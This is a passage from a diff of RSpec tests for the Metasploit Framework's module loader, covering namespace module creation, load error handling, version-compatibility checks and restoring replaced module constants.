subject.send(:namespace_module_names, module_full_name) + + namespace_module_names.last.should start_with('Mod') + end + + it 'should be reversible' do + namespace_module_names = subject.send(:namespace_module_names, module_full_name) + relative_name = namespace_module_names.last + unpacked_name = relative_name.gsub(/^Mod/, '') + + [unpacked_name].pack('H*').should == module_full_name + end + end + + context '#namespace_module_transaction' do + let(:relative_name) do + 'Mod617578696c696172792f72737065632f6d6f636b' + end + + context 'with pre-existing namespace module' do + before(:each) do + module Msf + module Modules + module Mod617578696c696172792f72737065632f6d6f636b + class Metasploit3 + end end - EOS - ) - - namespace_module_names.join('::').constantize - end - - context 'loader' do - it 'should be a read/write attribute' do - loader = double('Loader') - namespace_module.loader = loader - - namespace_module.loader.should == loader - end - end - - context 'module_eval_with_lexical_scope' do - it 'should capture the lexical scope' do - expect { - namespace_module.module_eval_with_lexical_scope(module_content, module_path) - }.to_not raise_error - end - - context 'with malformed module content' do - it 'should use module path in module_eval' do - error = nil - - begin - namespace_module.module_eval_with_lexical_scope(malformed_module_content, module_path) - rescue NoMethodError => error - # don't put the should in the rescue because if there is no error, then the example will still be - # successful. - end - - error.should_not be_nil - error.backtrace[0].should include(module_path) - end - end - end - - context 'parent_path' do - it 'should be a read/write attribute' do - parent_path = double('Parent Path') - namespace_module.parent_path = parent_path - - namespace_module.parent_path.should == parent_path - end - end - end - end - - context 'MODULE_EXTENSION' do - it 'should only support ruby source modules' do - described_class::MODULE_EXTENSION.should == '.rb' - end - end - - context 'MODULE_SEPARATOR' do - it 'should make valid module names' do - name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) - name.constantize.should == Msf::Modules - end - end - - context 'NAMESPACE_MODULE_NAMES' do - it 'should be under Msf so that Msf constants resolve from lexical scope' do - described_class::NAMESPACE_MODULE_NAMES.should include('Msf') - end - - it "should not be directly under Msf so that modules don't collide with core namespaces" do - direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') - last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - - last_index.should > direct_index - end - end - - context 'UNIT_TEST_REGEX' do - it 'should match test suite files' do - described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') - end - - it 'should match unit test files' do - described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') - end - end - end - - context 'class methods' do - context 'typed_path' do - it 'should have MODULE_EXTENSION for the extension name' do - typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - - File.extname(typed_path).should == described_class::MODULE_EXTENSION - end - - # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything - it_should_behave_like 'typed_path', 'Msf::MODULE_AUX' => 'auxiliary' - it_should_behave_like 'typed_path', 'Msf::MODULE_ENCODER' => 'encoders' - it_should_behave_like 'typed_path', 'Msf::MODULE_EXPLOIT' => 'exploits' - it_should_behave_like 'typed_path', 'Msf::MODULE_NOP' => 'nops' - it_should_behave_like 'typed_path', 'Msf::MODULE_PAYLOAD' => 'payloads' - it_should_behave_like 'typed_path', 'Msf::MODULE_POST' => 'post' - end - end - - context 'instance methods' do - let(:module_manager) do - double('Module Manager', :module_load_error_by_path => {}) - end - - subject do - described_class.new(module_manager) - end - - context '#initialize' do - it 'should set @module_manager' do - loader = described_class.new(module_manager) - loader.instance_variable_get(:@module_manager).should == module_manager - end - end - - context '#loadable?' do - it 'should be abstract' do - expect { - subject.loadable?(parent_pathname.to_s) - }.to raise_error(NotImplementedError) - end - end - - context '#load_module' do - let(:parent_path) do - parent_pathname.to_s - end - - let(:type) do - Msf::MODULE_AUX - end - - before(:each) do - subject.stub(:module_path => module_path) - end - - it 'should call file_changed? with the module_path' do - module_manager.should_receive(:file_changed?).with(module_path).and_return(false) - - subject.load_module(parent_path, type, module_reference_name, :force => false) - end - - context 'without file changed' do - before(:each) do - module_manager.stub(:file_changed? => false) - end - - it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false - end - - it 'should not call #read_module_content' do - subject.should_not_receive(:read_module_content) - subject.load_module(parent_path, type, module_reference_name) - end - end - - context 'with file changed' do - let(:module_full_name) do - File.join('auxiliary', module_reference_name) - end - - let(:namespace_module) do - Msf::Modules.const_get(relative_name) - end - - let(:relative_name) do - 'Mod617578696c696172792f72737065632f6d6f636b' - end - - before(:each) do - # capture in a local so that instance_eval can access it - relative_name = self.relative_name - - # remove module from previous examples so reload error aren't logged - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - - # create an namespace module that can be restored - module Msf - module Modules - module Mod617578696c696172792f72737065632f6d6f636b - class Metasploit3 < Msf::Auxiliary - - end - end - end - end - - @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - - module_manager.stub(:delete).with(module_reference_name) - module_manager.stub(:file_changed?).with(module_path).and_return(true) - - module_set = double('Module Set') - module_set.stub(:delete).with(module_reference_name) - module_manager.stub(:module_set).with(type).and_return(module_set) - end - - it 'should call #namespace_module_transaction with the module full name and :reload => true' do - subject.stub(:read_module_content => module_content) - - subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) - - subject.load_module(parent_path, type, module_reference_name) - end - - it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - module_manager.stub(:on_module_load) - - subject.stub(:read_module_content => module_content) - - subject.load_module(parent_path, type, module_reference_name).should be_true - namespace_module.parent_path.should == parent_path - end - - it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - module_manager.stub(:on_module_load) - - subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - subject.stub(:read_module_content => malformed_module_content) - module_manager.stub(:on_module_load) - - # if the module eval error includes the module_path then the module_path was passed along correctly - subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false - end - - context 'with empty module content' do - before(:each) do - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should not attempt to make a new namespace_module' do - subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - context 'with errors from namespace_module_eval_with_lexical_scope' do - before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = double('Module Content', :empty? => false) - subject.stub(:read_module_content).and_return(module_content) - end - - context 'with Interrupt' do - it 'should re-raise' do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) - - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to raise_error(Interrupt) - end - end - - context 'with other Exception' do - let(:backtrace) do - [ - 'Backtrace Line 1', - 'Backtrace Line 2' - ] - end - - let(:error) do - error_class.new(error_message) - end - - let(:error_class) do - ArgumentError - end - - let(:error_message) do - 'This is rspec. Your argument is invalid.' - end - - before(:each) do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) - - @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) - - error.stub(:backtrace => backtrace) - end - - context 'with version compatibility' do - before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - end - - it 'should record the load error using the original error' do - subject.should_receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - context 'without version compatibility' do - let(:version_compatibility_error) do - Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => infinity, - :minimum_core_version => infinity - ) - end - - let(:infinity) do - 0.0 / 0.0 - end - - before(:each) do - @namespace_module.stub( - :version_compatible! - ).with( - module_path, - module_reference_name - ).and_raise( - version_compatibility_error - ) - end - - it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - it 'should return false' do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - - context 'without module_eval errors' do - before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) - - metasploit_class = double('Metasploit Class', :parent => @namespace_module) - @namespace_module.stub(:metasploit_class! => metasploit_class) - - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) - end - - it 'should check for version compatibility' do - module_manager.stub(:on_module_load) - - @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name) - end - - context 'without version compatibility' do - let(:version_compatibility_error) do - Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => infinity, - :minimum_core_version => infinity - ) - end - - let(:infinity) do - 0.0 / 0.0 - end - - before(:each) do - @namespace_module.stub( - :version_compatible! - ).with( - module_path, - module_reference_name - ).and_raise( - version_compatibility_error - ) - end - - it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - - end - end - - context 'with version compatibility' do - before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - - module_manager.stub(:on_module_load) - end - - context 'without metasploit_class' do - let(:error) do - Msf::Modules::MetasploitClassCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - before(:each) do - @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) - end - - it 'should record load error' do - subject.should_receive( - :load_error - ).with( - module_path, - kind_of(Msf::Modules::MetasploitClassCompatibilityError) - ) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == @original_namespace_module - end - end - - context 'with metasploit_class' do - let(:metasploit_class) do - double('Metasploit Class') - end - - before(:each) do - @namespace_module.stub(:metasploit_class! => metasploit_class) - end - - it 'should check if it is usable' do - subject.should_receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - context 'without usable metasploit_class' do - before(:each) do - subject.stub(:usable? => false) - end - - it 'should log information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == @original_namespace_module - end - end - - context 'with usable metasploit_class' do - before(:each) do - # remove the mocked namespace_module since happy-path/real loading is occurring in this context - subject.unstub(:namespace_module_transaction) - end - - it 'should log load information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do - original_load_error = "Back in my day this module didn't load" - module_manager.module_load_error_by_path[module_path] = original_load_error - - module_manager.module_load_error_by_path[module_path].should == original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_true - module_manager.module_load_error_by_path[module_path].should be_nil - end - - it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should call module_manager.on_module_load' do - module_manager.should_receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - context 'with :recalculate_by_type' do - it 'should set the type to be recalculated' do - recalculate_by_type = {} - - subject.load_module( - parent_path, - type, - module_reference_name, - :recalculate_by_type => recalculate_by_type - ).should be_true - recalculate_by_type[type].should be_true - end - end - - context 'with :count_by_type' do - it 'should set the count to 1 if it does not exist' do - count_by_type = {} - - count_by_type.has_key?(type).should be_false - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ).should be_true - count_by_type[type].should == 1 - end - - it 'should increment the count if it does exist' do - original_count = 1 - count_by_type = { - type => original_count - } - - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ).should be_true - - incremented_count = original_count + 1 - count_by_type[type].should == incremented_count - end - end - end - end - end - end - end - end - - context '#create_namespace_module' do - let(:namespace_module_names) do - [ - 'Msf', - 'Modules', - relative_name - ] - end - - let(:relative_name) do - 'Mod0' - end - - before(:each) do - # capture in local variable so it works in instance_eval - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - end - - it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do - Object.should_receive( - :module_eval - ).with( - "module #{namespace_module_names[0]}\n" \ - "module #{namespace_module_names[1]}\n" \ - "module #{namespace_module_names[2]}\n" \ - "#{described_class::NAMESPACE_MODULE_CONTENT}\n" \ - "end\n" \ - "end\n" \ - "end", - anything, - anything - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it "should set the module_eval path to the loader's __FILE__" do - Object.should_receive( - :module_eval - ).with( - anything, - described_class_pathname.to_s, - anything - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it 'should set the module_eval line to compensate for the wrapping module declarations' do - Object.should_receive( - :module_eval - ).with( - anything, - anything, - described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it "should set the namespace_module's module loader to itself" do - namespace_module = double('Namespace Module') - - namespace_module.should_receive(:loader=).with(subject) - - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - end - - context '#current_module' do - let(:module_names) do - [ - 'Msf', - 'Modules', - relative_name - ] - end - - let(:relative_name) do - 'Mod0' - end - - before(:each) do - # copy to local variable so it is accessible in instance_eval - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - end - - it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_false - subject.send(:current_module, module_names).should be_nil - end - - it 'should return the module if it is defined' do - module Msf - module Modules - module Mod0 - end - end - end - - subject.send(:current_module, module_names).should == Msf::Modules::Mod0 - end - end - - context '#each_module_reference_name' do - it 'should be abstract' do - expect { - subject.send(:each_module_reference_name, parent_path) - }.to raise_error(NotImplementedError) - end - end - - context '#module_path' do - it 'should be abstract' do - expect { - subject.send(:module_path, parent_path, Msf::MODULE_AUX, module_reference_name) - }.to raise_error(NotImplementedError) - end - end - - context '#module_path?' do - it 'should return false if path is hidden' do - hidden_path = '.hidden/path/file.rb' - - subject.send(:module_path?, hidden_path).should be_false - end - - it 'should return false if the file extension is not MODULE_EXTENSION' do - non_module_extension = '.c' - path = "path/with/wrong/extension#{non_module_extension}" - - non_module_extension.should_not == described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_false - end - - it 'should return false if the file is a unit test' do - unit_test_extension = '.rb.ut.rb' - path = "path/to/unit_test#{unit_test_extension}" - - subject.send(:module_path?, path).should be_false - end - - it 'should return false if the file is a test suite' do - test_suite_extension = '.rb.ts.rb' - path = "path/to/test_suite#{test_suite_extension}" - - subject.send(:module_path?, path).should be_false - end - - it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_true - end - end - - context '#module_reference_name_from_path' do - it 'should strip MODULE_EXTENSION from the end of the path' do - path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" - path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" - - subject.send(:module_reference_name_from_path, path).should == path_without_extension - end - end - - context '#namespace_module_name' do - it 'should prefix the name with Msf::Modules::' do - subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') - end - - it 'should prefix the relative name with Mod' do - namespace_module_name = subject.send(:namespace_module_name, module_full_name) - relative_name = namespace_module_name.gsub(/^.*::/, '') - - relative_name.should start_with('Mod') - end - - it 'should be reversible' do - namespace_module_name = subject.send(:namespace_module_name, module_full_name) - unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') - - [unpacked_name].pack('H*').should == module_full_name - end - end - - context '#namespace_module_names' do - it "should prefix the array with ['Msf', 'Modules']" do - subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) - end - - it 'should prefix the relative name with Mod' do - namespace_module_names = subject.send(:namespace_module_names, module_full_name) - - namespace_module_names.last.should start_with('Mod') - end - - it 'should be reversible' do - namespace_module_names = subject.send(:namespace_module_names, module_full_name) - relative_name = namespace_module_names.last - unpacked_name = relative_name.gsub(/^Mod/, '') - - [unpacked_name].pack('H*').should == module_full_name - end - end - - context '#namespace_module_transaction' do - let(:relative_name) do - 'Mod617578696c696172792f72737065632f6d6f636b' - end - - context 'with pre-existing namespace module' do - before(:each) do - module Msf - module Modules - module Mod617578696c696172792f72737065632f6d6f636b - class Metasploit3 - - end - end - end - end - - @existent_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - end - - context 'with :reload => false' do - it 'should log an error' do - subject.should_receive(:elog).with(/Reloading.*when :reload => false/) - - subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| - true - end - end - end - - it 'should remove the pre-existing namespace module' do - Msf::Modules.should_receive(:remove_const).with(relative_name) - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - true - end - end - - it 'should create a new namespace module for the block' do - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - namespace_module.should_not == @existent_namespace_module - - expect { - namespace_module::Metasploit3 - }.to raise_error(NameError) - - true - end - end - - context 'with an Exception from the block' do - let(:error_class) do - NameError - end - - let(:error_message) do - "SayMyName" - end - - it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - begin - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module - - raise error_class, error_message - end - rescue error_class => error - end - - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - end - - it 'should re-raise the error' do - expect { - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - raise error_class, error_message - end - }.to raise_error(error_class, error_message) - end - end - - context 'with the block returning false' do - it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module - - false - end - - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - end - - it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_false - end - end - - context 'with the block returning true' do - it 'should not restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - true - end - - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should_not be_nil - current_constant.should_not == @existent_namespace_module - end - - it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_true - end - end - end - - context 'without pre-existing namespace module' do - before(:each) do - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.send(:remove_const, relative_name) - end - end + end + end + + @existent_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b + end + + context 'with :reload => false' do + it 'should log an error' do + subject.should_receive(:elog).with(/Reloading.*when :reload => false/) + + subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| + true + end + end + end + + it 'should remove the pre-existing namespace module' do + Msf::Modules.should_receive(:remove_const).with(relative_name) + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + true + end + end + + it 'should create a new namespace module for the block' do + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + namespace_module.should_not == @existent_namespace_module + + expect { + namespace_module::Metasploit3 + }.to raise_error(NameError) + + true + end + end + + context 'with an Exception from the block' do + let(:error_class) do + NameError + end + + let(:error_message) do + "SayMyName" + end + + it 'should restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + begin + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should == namespace_module + current_constant.should_not == @existent_namespace_module + + raise error_class, error_message + end + rescue error_class => error + end + + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + end + + it 'should re-raise the error' do + expect { + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + raise error_class, error_message + end + }.to raise_error(error_class, error_message) + end + end + + context 'with the block returning false' do + it 'should restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should == namespace_module + current_constant.should_not == @existent_namespace_module + + false + end + + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + end + + it 'should return false' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + }.should be_false + end + end + + context 'with the block returning true' do + it 'should not restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + true + end + + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should_not be_nil + current_constant.should_not == @existent_namespace_module + end + + it 'should return true' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + }.should be_true + end + end + end + + context 'without pre-existing namespace module' do + before(:each) do + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.send(:remove_const, relative_name) + end + end it 'should create a new namespace module' do - expect { - Msf::Modules.const_get(relative_name) - }.to raise_error(NameError) + expect { + Msf::Modules.const_get(relative_name) + }.to raise_error(NameError) + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_get(relative_name).should == namespace_module + end + end + + context 'with an Exception from the block' do + let(:error_class) do + Exception + end + + let(:error_message) do + 'Error Message' + end + + it 'should remove the created namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + begin + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Module.const_defined?(relative_name).should be_true + + raise error_class, error_message + end + rescue error_class + end + + Msf::Modules.const_defined?(relative_name).should be_false + end + + it 'should re-raise the error' do + expect { + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + raise error_class, error_message + end + }.to raise_error(error_class, error_message) + end + end + + context 'with the block returning false' do + it 'should remove the created namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_defined?(relative_name).should be_true + + false + end + + Msf::Modules.const_defined?(relative_name).should be_false + end + + it 'should return false' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + }.should be_false + end + end + + context 'with the block returning true' do + it 'should not restore the non-existent previous namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + created_namespace_module = nil + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_defined?(relative_name).should be_true + + created_namespace_module = namespace_module + + true + end + + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == created_namespace_module + end + + it 'should return true' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + }.should be_true + end + end + end + end + + context '#read_module_content' do + it 'should be abstract' do + type = Msf::MODULE_AUX - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_get(relative_name).should == namespace_module - end + expect { + subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) + }.to raise_error(NotImplementedError) + end + end + + context '#restore_namespace_module' do + let(:parent_module) do + Msf::Modules + end + + let(:relative_name) do + 'Mod0' + end + + it 'should do nothing if parent_module is nil' do + parent_module = nil + + # can check that NoMethodError is not raised because *const* methods are + # not defined on `nil`. + expect { + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + }.to_not raise_error + end + + context 'with namespace_module nil' do + let(:namespace_module) do + nil + end + + it 'should remove relative_name' do + parent_module.should_receive(:remove_const).with(relative_name) + + subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) end - context 'with an Exception from the block' do - let(:error_class) do - Exception - end - - let(:error_message) do - 'Error Message' - end - - it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - begin - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_true - - raise error_class, error_message - end - rescue error_class - end - - Msf::Modules.const_defined?(relative_name).should be_false - end - - it 'should re-raise the error' do - expect { - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - raise error_class, error_message - end - }.to raise_error(error_class, error_message) - end - end - - context 'with the block returning false' do - it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true - - false - end - - Msf::Modules.const_defined?(relative_name).should be_false - end - - it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_false - end - end - - context 'with the block returning true' do - it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - created_namespace_module = nil - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true - - created_namespace_module = namespace_module - - true - end - - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == created_namespace_module - end - - it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_true - end - end - end - end - - context '#read_module_content' do - it 'should be abstract' do - type = Msf::MODULE_AUX - - expect { - subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) - }.to raise_error(NotImplementedError) - end - end - - context '#restore_namespace_module' do - let(:parent_module) do - Msf::Modules - end - - let(:relative_name) do - 'Mod0' - end - - it 'should do nothing if parent_module is nil' do - parent_module = nil - - # can check that NoMethodError is not raised because *const* methods are - # not defined on `nil`. - expect { - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - }.to_not raise_error - end - - context 'with namespace_module nil' do - let(:namespace_module) do - nil - end - - it 'should remove relative_name' do - parent_module.should_receive(:remove_const).with(relative_name) - - subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) - end - - it 'should not set the relative_name constant to anything' do - parent_module.should_not_receive(:const_set) - - subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) - end - end - - context 'with parent_module and namespace_module' do - before(:each) do - module Msf - module Modules - module Mod0 - class Metasploit3 - - end - end - end - end - - @original_namespace_module = Msf::Modules::Mod0 - - Msf::Modules.send(:remove_const, relative_name) - end - - context 'with relative_name being a defined constant' do - before(:each) do - module Msf - module Modules - module Mod0 - class Metasploit2 - - end - end - end - end + it 'should not set the relative_name constant to anything' do + parent_module.should_not_receive(:const_set) - @current_namespace_module = Msf::Modules::Mod0 - end - - context 'with the current constant being the namespace_module' do - it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_true - - current_module = parent_module.const_get(relative_name) - current_module.should == @current_namespace_module - - subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - - parent_module.const_defined?(relative_name).should be_true - restored_module = parent_module.const_get(relative_name) - restored_module.should == current_module - restored_module.should == @current_namespace_module - end - - it 'should not remove the constant and then set it' do - parent_module.should_not_receive(:remove_const).with(relative_name) - parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) - - subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - end - end - - context 'without the current constant being the namespace_module' do - it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_true - parent_module.should_receive(:remove_const).with(relative_name) - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - end + subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) + end + end - it 'should restore the module to the constant' do - parent_module.const_get(relative_name).should_not == @original_namespace_module + context 'with parent_module and namespace_module' do + before(:each) do + module Msf + module Modules + module Mod0 + class Metasploit3 - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + end + end + end + end - parent_module.const_get(relative_name).should == @original_namespace_module - end - end - end + @original_namespace_module = Msf::Modules::Mod0 - context 'without relative_name being a defined constant' do - it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_false + Msf::Modules.send(:remove_const, relative_name) + end + + context 'with relative_name being a defined constant' do + before(:each) do + module Msf + module Modules + module Mod0 + class Metasploit2 + + end + end + end + end - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + @current_namespace_module = Msf::Modules::Mod0 + end - parent_module.const_defined?(relative_name).should be_true - parent_module.const_get(relative_name).should == @original_namespace_module - end - end - end - end + context 'with the current constant being the namespace_module' do + it 'should not change the constant' do + parent_module.const_defined?(relative_name).should be_true - context '#typed_path' do + current_module = parent_module.const_get(relative_name) + current_module.should == 